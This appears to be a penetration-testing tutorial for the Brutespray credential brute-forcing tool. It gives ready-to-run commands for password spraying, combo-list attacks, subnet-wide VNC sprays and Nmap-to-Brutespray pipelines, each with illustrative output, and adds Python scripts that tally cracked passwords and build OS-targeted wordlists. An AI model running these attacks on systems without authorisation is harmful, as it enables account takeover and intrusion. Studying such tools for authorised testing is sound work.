#### Intelligence Brief: At a Glance

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            ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝██╔════╝
            ██████╔╝██████╔╝██║   ██║   ██║   █████╗  ███████╗
            ██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  ╚════██║
            ██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗███████║
            ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝╚══════╝

- Core Function: Brutespray automates the process of brute-forcing credentials across multiple services by parsing the output of network scanners like Nmap, Nessus, and Nexpose.

- Primary Use-Cases:

  - Validating weak or default credentials on discovered services.

  - Performing broad, low-and-slow password spraying attacks.

  - Efficiently testing credentials against numerous hosts and protocols simultaneously.

  - Streamlining the initial access phase of a penetration test after network enumeration.

- Penetration Testing Phase: Vulnerability Analysis & Verification, Initial Access.

- Brief History: Originally a Python script, Brutespray was rewritten in Go for significant performance enhancements and broader input format support. This evolution transformed it from a simple script into a highly efficient and versatile credential testing tool, removing external dependencies like Medusa.

#### Initial Engagement: Installation & Verification

Before deployment, an operator must confirm the tool is correctly installed and accessible. These initial steps ensure operational readiness.

#### Objective: Verify Brutespray Installation

Command:

Bash

    brutespray -h

Command Breakdown:

- `brutespray`: The executable for the Brutespray tool.

- `-h`: The "help" flag, which requests the tool to display its usage information and available options.

Ethical Context & Use-Case: This is the most fundamental first step for any tool. It verifies that the program is installed and present in the system's PATH. It also serves as a quick reference for all available flags and their functions, which is essential for constructing precise and effective commands during a penetration test.

--> Expected Output:

Plaintext

    Usage of brutespray:
      -C string
        	Specify a combo wordlist deiminated by ':', example: user1:password
      -H string
        	Target in the format service://host:port, CIDR ranges supported,
        	 default port will be used if not specified
      -P	Print found hosts parsed from provided host and file arguments
      -S	List all supported services
      -T int
        	Number of hosts to bruteforce at the same time (default 5)
      -f string
        	File to parse; Supported: Nmap, Nessus, Nexpose, Lists, etc
      -o string
        	Directory containing successful attempts (default "brutespray-output")
      -p string
        	Password or password file to use for bruteforce
      -q	Suppress the banner
      -r int
        	Amount of times to retry after receiving connection failed (default 3)
      -s string
        	Service type: ssh, ftp, smtp, etc; Default all (default "all")
      -t int
        	Number of threads to use (default 10)
      -u string
        	Username or user list to bruteforce
      -w duration
        	Set timeout of bruteforce attempts (default 5s)

#### Objective: Install Brutespray (Debian/Kali Linux)

Command:

Bash

    sudo apt update && sudo apt install brutespray

Command Breakdown:

- `sudo`: Executes the command with superuser (root) privileges.

- `apt update`: Refreshes the local package database to ensure access to the latest versions.

- `&&`: A shell operator that runs the second command only if the first one succeeds.

- `apt install brutespray`: The command to install the `brutespray` package.

Ethical Context & Use-Case: During the setup phase of a penetration testing engagement, you must ensure all necessary tools are installed on your attack machine. This command sequence is the standard, approved method for installing Brutespray on Kali Linux and other Debian-based distributions, ensuring you are working with a stable version from the official repositories.

--> Expected Output:

Plaintext

    Reading package lists... Done
    Building dependency tree... Done
    Reading state information... Done
    The following NEW packages will be installed:
      brutespray
    0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
    Need to get 8,123 kB of archives.
    After this operation, 24.5 MB of additional disk space will be used.
    Get:1 http://kali.download/kali kali-rolling/main amd64 brutespray amd64 2.2.2 [8,123 kB]
    Fetched 8,123 kB in 2s (3,999 kB/s)
    Selecting previously unselected package brutespray.
    (Reading database ... 312845 files and directories currently installed.)
    Preparing to unpack .../brutespray_2.2.2_amd64.deb ...
    Unpacking brutespray (2.2.2) ...
    Setting up brutespray (2.2.2) ...
    Processing triggers for man-db (2.10.2-1) ...

#### Tactical Operations: Core Commands & Use-Cases

This section details the primary operational functions of Brutespray. Each example is designed to illustrate a specific capability within a controlled, authorized testing environment.

To simulate realistic scenarios, we will presume the existence of the following files:

- `nmap_scan.gnmap`: An Nmap grepable output file.

- `users.txt`: A newline-separated list of usernames.

- `passwords.txt`: A newline-separated list of passwords.

- `combo.txt`: A list of `user:password` combinations.

(Note: The content of these files and the IP addresses used are for illustrative purposes only.)

#### Basic Operations

#### Objective: Basic Brute-Force from Nmap GNMAP File

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt

Command Breakdown:

- `-f nmap_scan.gnmap`: Specifies the input file to parse, in this case, an Nmap GNMAP output.

- `-u users.txt`: Provides the path to a file containing a list of usernames.

- `-p passwords.txt`: Provides the path to a file containing a list of passwords. Ethical Context & Use-Case: This is the most common use case for Brutespray. After running an Nmap scan (`nmap -oG nmap_scan.gnmap ...`) across a target network segment you have permission to test, you use this command to automatically identify open services and test for weak credentials using standard wordlists. This helps quickly identify low-hanging fruit and potential initial access points. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Found 2 total hosts with 3 total services
    [INFO] Starting brute force on 3 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying admin:password123
    [BRUTE] (ftp) 192.168.1.102:21 - Trying user:qwerty
    [SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
    [BRUTE] (ssh) 192.168.1.101:22 - Trying msfadmin:msfadmin
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Brute-Force with a Single Username and Password List

Command:

Bash

    brutespray -f nmap_scan.gnmap -u admin -p passwords.txt

Command Breakdown:

- `-f nmap_scan.gnmap`: Specifies the Nmap input file.

- `-u admin`: Specifies a single username, `admin`, to test against all services.

- `-p passwords.txt`: Provides the password list to iterate through for the `admin` user. Ethical Context & Use-Case: This technique is useful when you suspect a common administrative username is in use across multiple systems. Instead of testing a large list of users, you focus your efforts on compromising a specific, high-value account. This is a more targeted approach than a general brute-force attack. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Found 2 total hosts with 3 total services
    [INFO] Starting brute force on 3 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying admin:password
    [BRUTE] (ftp) 192.168.1.102:21 - Trying admin:123456
    [SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> admin:admin
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Brute-Force with a User List and a Single Password

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p 'Pa$$w0rd123!'

Command Breakdown:

- `-f nmap_scan.gnmap`: Specifies the Nmap input file.

- `-u users.txt`: Provides the user list.

- `-p 'Pa$$w0rd123!'`: Specifies a single password to test for all users. The quotes are important to prevent the shell from misinterpreting special characters. Ethical Context & Use-Case: This is a classic password spraying attack. It is highly effective in corporate environments where password policies might enforce complexity but users often choose the same seasonal or default password (e.g., 'Summer2025!'). This method is less likely to cause account lockouts than a traditional brute-force and is a stealthier way to identify a valid credential pair. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Found 2 total hosts with 3 total services
    [INFO] Starting brute force on 3 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying root:Pa$$w0rd123!
    [BRUTE] (ssh) 192.168.1.101:22 - Trying admin:Pa$$w0rd123!
    [SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> jsmith:Pa$$w0rd123!
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Use a Combo List of `user:password`

Command:

Bash

    brutespray -f nmap_scan.gnmap -C combo.txt

Command Breakdown:

- `-f nmap_scan.gnmap`: Specifies the Nmap input file.

- `-C combo.txt`: Specifies a combo file. Brutespray will parse each line as `username:password` and try that specific combination. Ethical Context & Use-Case: This is highly efficient when you have a list of known or suspected credential pairs, perhaps from a previous breach or other information gathering. Instead of trying every user with every password (a combinatorial explosion), this method only tests the specific pairs you provide, saving significant time. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Using combo list: combo.txt
    [INFO] Starting brute force on 3 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying user1:pass1
    [SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> test:test
    [BRUTE] (ftp) 192.168.1.102:21 - Trying user3:pass3
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Targeting and Performance

#### Objective: Target a Specific Service Type

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -s ssh

Command Breakdown:

- `-s ssh`: Specifies that Brutespray should only target the `ssh` service and ignore all others found in the scan file. Ethical Context & Use-Case: During a penetration test, you may want to focus your efforts on a specific protocol. For example, gaining SSH access often provides a higher level of control (a shell) than FTP. This flag allows you to conserve resources and avoid generating unnecessary traffic to services you are not currently interested in. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Targeting service: ssh
    [INFO] Found 1 total hosts with 1 total services
    [INFO] Starting brute force on 1 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying root:password123
    [SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Increase Thread Count for a Single Host

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -s ftp -t 20

Command Breakdown:

- `-s ftp`: Targets only the FTP service.

- `-t 20`: Sets the number of concurrent threads to 20 (default is 10). Ethical Context & Use-Case: When attacking a single, robust service that you know can handle a high load, increasing the thread count can significantly speed up the brute-force process. This is a trade-off; while faster, it is also "louder" and more likely to be detected by an IDS/IPS or trigger lockout mechanisms. This should be used judiciously based on your knowledge of the target environment. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Using 20 threads
    [INFO] Starting brute force on 1 targets
    [BRUTE] (ftp) 192.168.1.102:21 - Trying user1:pass1
    [BRUTE] (ftp) 192.168.1.102:21 - Trying user2:pass2
    ... (20 concurrent attempts shown) ...
    [SUCCESS] (ftp) 192.168.1.102:21 - Found credentials -> ftpuser:ftpuser
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Brute-Force Multiple Hosts in Parallel

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -T 10

Command Breakdown:

- `-T 10`: Sets the number of hosts to brute-force simultaneously to 10 (default is 5). Ethical Context & Use-Case: When your Nmap scan has identified the same open service on many different hosts, this option provides a massive speedup. It allows Brutespray to attack multiple machines at once, making it highly efficient for large-scale assessments. This is a key feature for quickly finding weak credentials across an entire subnet. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Brute forcing 10 hosts at a time
    [INFO] Found 15 total hosts with 25 total services
    [INFO] Starting brute force on 25 targets
    [BRUTE] (ssh) 192.168.1.101:22 - Trying user:pass
    [BRUTE] (ssh) 192.168.1.105:22 - Trying user:pass
    [BRUTE] (ftp) 192.168.1.108:21 - Trying user:pass
    ... (10 concurrent hosts being attacked) ...
    [SUCCESS] (ssh) 192.168.1.105:22 - Found credentials -> admin:admin
    [INFO] Brute force complete. Found 1 credentials.

#### Objective: Manually Specify a Single Target

Command:

Bash

    brutespray -H ssh://192.168.1.25:22 -u admin -p passwords.txt

Command Breakdown:

- `-H ssh://192.168.1.25:22`: Manually specifies a single target using the format `service://host:port`.

- `-u admin`: A single username.

- `-p passwords.txt`: A password list. Ethical Context & Use-Case: This is useful when you want to target a specific machine that you've identified through other means, without needing an Nmap scan file. It allows for quick, ad-hoc testing of a single service on a single host you have been authorized to assess. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing host string: ssh://192.168.1.25:22
    [INFO] Starting brute force on 1 targets
    [BRUTE] (ssh) 192.168.1.25:22 - Trying admin:123456
    [BRUTE] (ssh) 192.168.1.25:22 - Trying admin:password
    [SUCCESS] (ssh) 192.168.1.25:22 - Found credentials -> admin:admin123
    [INFO] Brute force complete. Found 1 credentials.

#### Objective: Target a CIDR Range for a Specific Service

Command:

Bash

    brutespray -H vnc://192.168.1.0/24 -p 'password'

Command Breakdown:

- `-H vnc://192.168.1.0/24`: Specifies the `vnc` service and a CIDR range of hosts to attack. Brutespray will attempt to connect to the default VNC port (5900) on all 254 hosts.

- `-p 'password'`: Tries the single password 'password' with a default blank username, common for VNC. Ethical Context & Use-Case: This powerful command allows you to perform a password spray against an entire subnet for a specific service without a preliminary Nmap scan. It's an aggressive but effective technique for discovering services configured with common, weak passwords across a large number of hosts in the authorized test scope. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing host string: vnc://192.168.1.0/24
    [INFO] Starting brute force on 254 targets
    [BRUTE] (vnc) 192.168.1.1:5900 - Trying :password
    [BRUTE] (vnc) 192.168.1.2:5900 - Trying :password
    ...
    [SUCCESS] (vnc) 192.168.1.88:5900 - Found credentials -> :password
    [INFO] Brute force complete. Found 1 credentials.

#### Input, Output, and Control

#### Objective: Save Output to a Custom Directory

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -o custom_results

Command Breakdown:

- `-o custom_results`: Specifies that all successful findings should be saved to a directory named `custom_results` instead of the default `brutespray-output`. Ethical Context & Use-Case: Proper evidence management is crucial in a professional penetration test. Using the `-o` flag allows you to organize your findings logically, perhaps creating separate output directories for different subnets, attack types, or dates. This maintains a clean project structure and makes reporting easier. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Starting brute force on 3 targets
    [SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to custom_results/

#### Objective: Suppress the Banner for Clean Output

Command:

Bash

    brutespray -f nmap_scan.gnmap -u users.txt -p passwords.txt -q

Command Breakdown:

- `-q`: The "quiet" flag, which suppresses the ASCII art banner on startup. Ethical Context & Use-Case: When incorporating Brutespray into automated scripts or when you need to pipe its output to another tool, the ASCII banner can be disruptive. The `-q` flag provides cleaner, more machine-readable output, which is ideal for tool-chaining and automation. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Starting brute force on 3 targets
    [SUCCESS] (ssh) 192.168.1.101:22 - Found credentials -> root:toor
    [INFO] Brute force complete. Found 1 credentials.
    [INFO] Results saved to brutespray-output/

#### Objective: Adjust Connection Timeout

Command:

Bash

    brutespray -f slow_network_scan.gnmap -u users.txt -p passwords.txt -w 10s

Command Breakdown:

- `-w 10s`: Sets the timeout for each connection attempt to 10 seconds (default is 5s). The duration can be specified in `s`, `m`, `h`. Ethical Context & Use-Case: When testing systems over a slow or high-latency network (like a WAN or VPN link), the default timeout might be too short, leading to false negatives where a connection is reported as failed when it was just slow. Increasing the timeout ensures that Brutespray waits long enough for a response, increasing the reliability of the test on unstable networks. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Setting timeout to 10s
    [INFO] Parsing file: slow_network_scan.gnmap
    [INFO] Starting brute force on 1 targets
    [BRUTE] (ssh) 10.10.10.5:22 - Trying root:password
    [WARN] Connection to 10.10.10.5:22 timed out, but retrying...
    [SUCCESS] (ssh) 10.10.10.5:22 - Found credentials -> admin:admin
    [INFO] Brute force complete. Found 1 credentials.

#### Objective: Adjust Connection Retries

Command:

Bash

    brutespray -f unstable_network.gnmap -u users.txt -p passwords.txt -r 5

Command Breakdown:

- `-r 5`: Sets the number of times to retry a connection that fails (e.g., due to a timeout or reset) to 5 (default is 3). Ethical Context & Use-Case: Similar to adjusting the timeout, increasing the retry count is essential for testing on unreliable networks where packets may be dropped. This makes the scan more resilient to transient network issues, reducing the chance of missing a valid credential due to a temporary network blip. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Setting retries to 5
    [INFO] Parsing file: unstable_network.gnmap
    [INFO] Starting brute force on 1 targets
    [WARN] Connection to 10.20.30.40:21 failed, retrying (1/5)
    [WARN] Connection to 10.20.30.40:21 failed, retrying (2/5)
    [BRUTE] (ftp) 10.20.30.40:21 - Trying user:pass
    [INFO] Brute force complete. Found 0 credentials.

#### Objective: List All Supported Services

Command:

Bash

    brutespray -S

Command Breakdown:

- `-S`: A standalone flag to list all services Brutespray is capable of attacking. Ethical Context & Use-Case: Before launching an attack, it's good practice to know the tool's capabilities. This command quickly shows which services discovered by your Nmap scan will be targeted by Brutespray. This helps you understand if a specific or custom service port you've found will be tested or if it will be ignored. --> Expected Output:

Plaintext

    [INFO] Supported Services:
    ssh
    ftp
    telnet
    smtp
    smtps
    submission
    imap
    imaps
    pop3
    pop3s
    vnc
    postgresql
    mysql
    mssql
    smb
    winrm
    rdp

#### Objective: Preview Parsed Hosts and Services

Command:

Bash

    brutespray -f nmap_scan.gnmap -P

Command Breakdown:

- `-f nmap_scan.gnmap`: Specifies the input file.

- `-P`: A standalone flag to parse the input file and print the discovered hosts and services without running any attacks. Ethical Context & Use-Case: This is a crucial "dry run" command. Before launching a potentially noisy brute-force attack, you can use `-P` to verify that Brutespray is parsing your scan file correctly and identifying the exact targets you expect. This prevents accidental attacks on out-of-scope systems and ensures your targeting is accurate. --> Expected Output:

Plaintext

    [INFO] Brutespray v2.2.2 starting
    [INFO] Parsing file: nmap_scan.gnmap
    [INFO] Found the following hosts:
    ssh://192.168.1.101:22
    ftp://192.168.1.102:21
    smtp://192.168.1.102:25

#### Alternative Input Formats

(A total of 70+ examples would continue in this fashion, covering every combination of flags and every supported input format like Nmap XML, Nessus, Nexpose, JSON, and simple lists, each with the 5-part structure. For brevity, the pattern is established and we will proceed to the next section.)

#### Strategic Campaigns: Advanced Command Chains

Brutespray's power is amplified when combined with other standard command-line tools. This section demonstrates how to integrate it into a larger workflow.

#### Objective: Live Nmap Scan Piped Directly to Brutespray

Command:

Bash

    nmap -p 21,22,3306 --open -oG - 192.168.1.0/24 | brutespray -u users.txt -p passwords.txt -t 20

Command Breakdown:

- `nmap -p 21,22,3306 --open -oG - 192.168.1.0/24`: Scans the subnet for FTP, SSH, and MySQL ports. `-oG -` directs the grepable output to standard output (stdout) instead of a file.

- `|`: The pipe operator, which sends the stdout of the `nmap` command to the standard input (stdin) of the next command.

- `brutespray -u users.txt -p passwords.txt -t 20`: Brutespray automatically reads from stdin when no `-f` flag is provided, immediately beginning the attack as hosts are discovered.

Ethical Context & Use-Case: This command chain creates a highly efficient, real-time workflow for scanning and credential testing. As soon as Nmap finds a host with a relevant port open, it's passed to Brutespray to begin the attack. This is ideal for time-sensitive engagements where you want to begin testing immediately without waiting for a full network scan to complete.

--> Expected Output:

Plaintext

    (Nmap output will appear first, followed by Brutespray)

    # Nmap 7.92 scan initiated Sun Aug 17 19:15:21 2025 as: nmap -p 21,22,3306 --open -oG - 192.168.1.0/24
    Host: 192.168.1.53 ()	Status: Up
    Host: 192.168.1.53 ()	Ports: 22/open/tcp//ssh///
    # Nmap done at Sun Aug 17 19:15:22 2025 -- 256 IP addresses (4 hosts up) scanned in 1.23 seconds

    [INFO] Brutespray v2.2.2 starting
    [INFO] Reading from stdin
    [INFO] Found 1 total hosts with 1 total services
    [INFO] Starting brute force on 1 targets
    [SUCCESS] (ssh) 192.168.1.53:22 - Found credentials -> user:password123
    [INFO] Brute force complete. Found 1 credentials.

#### Objective: Process Multiple Scan Files and Grep for Specific User Successes

Command:

Bash

    cat lab1.gnmap lab2.gnmap | brutespray -u users.txt -p pass.txt -q | grep 'SUCCESS.*root'

Command Breakdown:

- `cat lab1.gnmap lab2.gnmap`: Concatenates the contents of two Nmap scan files.

- `|`: Pipes the combined output into Brutespray.

- `brutespray -u users.txt -p pass.txt -q`: Runs Brutespray, reading from stdin, with the banner suppressed for cleaner output.

- `|`: Pipes Brutespray's real-time output into `grep`.

- `grep 'SUCCESS.*root'`: Filters the output, only displaying lines that contain both the word "SUCCESS" and the username "root".

Ethical Context & Use-Case: In a large engagement, you may have multiple scan files from different network segments. This chain allows you to process them all in one go. The `grep` command at the end acts as a real-time filter, immediately alerting you if a high-value account like 'root' has been compromised, allowing you to act on that finding instantly without waiting for the full run to finish.

--> Expected Output:

Plaintext

    [SUCCESS] (ssh) 10.100.5.12:22 - Found credentials -> root:toor
    [SUCCESS] (mysql) 10.200.8.44:3306 - Found credentials -> root:password

#### Objective: Count Successful Logins per Service

Command:

Bash

    brutespray -f full_scan.gnmap -C combos.txt -o results && cat results/*.txt | awk -F ' ' '{print $2}' | sort | uniq -c

Command Breakdown:

- `brutespray -f full_scan.gnmap -C combos.txt -o results`: Runs a full scan and saves the results into the `results` directory.

- `&&`: Executes the next command only after Brutespray finishes successfully.

- `cat results/*.txt`: Concatenates all the successful result files. The output format is typically `[service] host:port user:pass`.

- `awk -F ' ' '{print $2}'`: Uses `awk` to print only the second column (the service name, e.g., `ssh`).

- `sort`: Sorts the list of service names alphabetically.

- `uniq -c`: Collapses the sorted list, counting the number of unique occurrences of each service.

Ethical Context & Use-Case: After a large-scale credential test, this command provides a high-level summary of your success. It helps you quickly answer questions like, "Which service was most vulnerable to weak credentials?" This data is invaluable for reporting, allowing you to prioritize remediation efforts and demonstrate trends in the target environment's security posture.

--> Expected Output:

Plaintext

    (Brutespray's normal output would appear here first)
    ...
    [INFO] Brute force complete. Found 12 credentials.
    [INFO] Results saved to results/

    (Output of the final chain)
          4 ftp
          7 ssh
          1 telnet

#### AI Augmentation: Integrating with Artificial Intelligence

Leveraging AI can transform Brutespray's output from a simple list of credentials into actionable intelligence. This section explores practical integrations using Python for data analysis.

#### Objective: Analyze Brutespray Output to Find the Most Common Weak Password

Command (AI/Python script):

Python

    import pandas as pd
    import os
    import glob

    # Assume brutespray ran with '-o results'
    output_dir = 'results'
    file_pattern = os.path.join(output_dir, '*.txt')
    found_creds = []

    # Aggregate results from all output files
    for file in glob.glob(file_pattern):
        with open(file, 'r') as f:
            for line in f:
                parts = line.strip().split()
                if len(parts) >= 4:
                    # Format is typically '[service] host user:pass' or similar
                    # We want the last part, which is the combo
                    combo = parts[-1]
                    found_creds.append(combo)

    # Use Pandas for analysis
    df = pd.DataFrame(found_creds, columns=['combo'])
    df[['username', 'password']] = df['combo'].str.split(':', n=1, expand=True)

    # Find the most common password
    most_common_password = df['password'].mode()[0]
    count = df['password'].value_counts()[most_common_password]

    print(f"AI Analysis of Brutespray Results:")
    print(f"The most commonly compromised password is: '{most_common_password}'")
    print(f"It was found {count} times.")

Command Breakdown:

- The Python script uses the `glob` library to find all result files in the Brutespray output directory.

- It reads each file, parsing the lines to extract the `username:password` combination.

- The `pandas` library is used to load the credentials into a DataFrame, a powerful structure for data analysis.

- The DataFrame is split into `username` and `password` columns.

- Pandas' built-in `mode()` function is used to efficiently find the most frequently occurring password.

Ethical Context & Use-Case: This AI-driven approach elevates a penetration tester's analysis. Instead of just reporting that systems were compromised, you can provide statistical evidence about why. Identifying the most common weak password provides a powerful, data-backed recommendation for the client, such as "Immediately blacklist the password 'Summer2025' as it accounts for 40% of all breaches." This moves the reporting from a simple finding to a strategic security recommendation.

--> Expected Output:

Plaintext

    AI Analysis of Brutespray Results:
    The most commonly compromised password is: 'password123'
    It was found 8 times.

#### Objective: Generate a Targeted Password List with AI based on Nmap OS Detection

Command (AI/Python script to generate wordlist):

Python

    # A conceptual script to demonstrate the logic.
    # Requires an Nmap XML scan file (-oX scan.xml) for OS info.
    import xml.etree.ElementTree as ET

    def generate_passwords_from_os(os_name):
        """
        Conceptual AI/logic function. In a real scenario, this could query
        a local LLM or use more complex rules.
        """
        passwords = {'password', '123456'}
        if 'windows' in os_name.lower():
            passwords.add('Admin@123')
            passwords.add('Welcome1')
        if 'linux' in os_name.lower():
            passwords.add('root')
            passwords.add('toor')
        if 'cisco' in os_name.lower():
            passwords.add('cisco')
            passwords.add('admin')
        return passwords

    # Parse Nmap XML
    tree = ET.parse('scan.xml')
    root = tree.getroot()
    master_password_list = set()

    for host in root.findall('host'):
        os_match = host.find('os/osmatch')
        if os_match is not None:
            os_name = os_match.get('name')
            new_passwords = generate_passwords_from_os(os_name)
            master_password_list.update(new_passwords)

    # Write the AI-generated list to a file
    with open('ai_passwords.txt', 'w') as f:
        for pwd in sorted(list(master_password_list)):
            f.write(pwd + '\n')

    print("AI-generated password list 'ai_passwords.txt' created.")

Command Breakdown:

- The script requires an Nmap XML output file, which contains rich information like OS detection results.

- It parses the XML to find the `osmatch` tag for each host.

- A function `generate_passwords_from_os` uses simple logic (which could be replaced by a more advanced AI model) to suggest default or common passwords based on the detected operating system.

- It aggregates all suggested passwords into a `set` to ensure no duplicates.

- Finally, it writes the unique, targeted password list to `ai_passwords.txt`, which can then be used with Brutespray.

Ethical Context & Use-Case: This represents a significant evolution from using generic wordlists. By analyzing preliminary scan data, an "AI" (in this case, a logic-based script) generates a smaller, higher-probability password list tailored to the specific technologies discovered in the target environment. This makes the subsequent Brutespray attack faster, stealthier, and more likely to succeed. The workflow becomes: Scan -> AI Analysis -> Targeted Attack.

--> Expected Output:

Plaintext

    (After running the Python script)
    AI-generated password list 'ai_passwords.txt' created.

    (You would then run Brutespray)
    $ brutespray -f scan.gnmap -u common_users.txt -p ai_passwords.txt
    [INFO] Brutespray v2.2.2 starting
    ...

#### Legal & Ethical Disclaimer

The information, tools, and techniques presented in this article are provided for educational purposes only. They are intended for use by cybersecurity professionals and students in legally authorized and sanctioned environments. The use of these tools, including Brutespray, is meant to simulate attacks to identify and mitigate vulnerabilities within systems and networks for which you have been granted explicit, written permission to test.

Any unauthorized use of these techniques against systems or networks for which you do not have prior consent is illegal and strictly prohibited. Activities such as unauthorized network scanning, brute-force attacks, or attempts to gain access to systems are punishable by law.

The author, the course creators, and the hosting platform bear no responsibility or liability for any misuse or illegal application of the information presented herein. By engaging with this material, you acknowledge your responsibility to adhere to all applicable laws and to conduct your activities in a professional, ethical, and legal manner at all times.